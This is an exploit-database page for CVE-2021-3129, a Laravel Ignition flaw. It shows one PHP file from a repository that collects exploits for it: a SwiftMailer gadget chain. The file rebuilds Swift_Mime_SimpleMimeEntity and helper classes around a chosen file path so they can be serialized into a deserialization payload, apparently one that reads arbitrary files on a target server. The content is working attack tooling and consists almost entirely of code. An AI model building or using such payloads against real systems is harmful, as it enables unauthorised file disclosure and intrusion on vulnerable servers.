Exploit databaseDownload repository ZIP
GH-ef32bec3baf31bd381c522a7d3810271
axianke/cve-2021-3129
Sources for CVE-2021-3129
36 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files2
axianke/cve-2021-3129Revision 33f41884f1a9
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gadgetchains/SwiftMailer/FR/1/gadgets.php
PHP · 1,132 bytes<?php
class Swift_Mime_SimpleMimeEntity
{
private $headers;
private $body;
private $cache;
private $encoder;
private $maxLineLength;
private $cacheKey;
public function __construct($path)
{
$this->headers = new Swift_Mime_Headers_OpenDKIMHeader();
$this->body = new Swift_ByteStream_FileByteStream($path);
$this->cache = new Swift_KeyCache_ArrayKeyCache();
$this->encoder = new Swift_Mime_ContentEncoder_PlainContentEncoder();
$this->cacheKey = "anykey";
$this->maxLineLength = 100;
}
}
class Swift_EmbeddedFile extends Swift_Mime_SimpleMimeEntity
{
public function __construct($path)
{
parent::__construct($path);
}
}
class Swift_Mime_Headers_OpenDKIMHeader
{
private $fieldName;
function __construct()
{
$this->fieldName = "any";
}
}
class Swift_KeyCache_ArrayKeyCache
{
}
class Swift_Mime_ContentEncoder_PlainContentEncoder
{
private $canonical = true;
}
class Swift_ByteStream_FileByteStream
{
private $path;
function __construct($path)
{
$this->path = $path;
}
}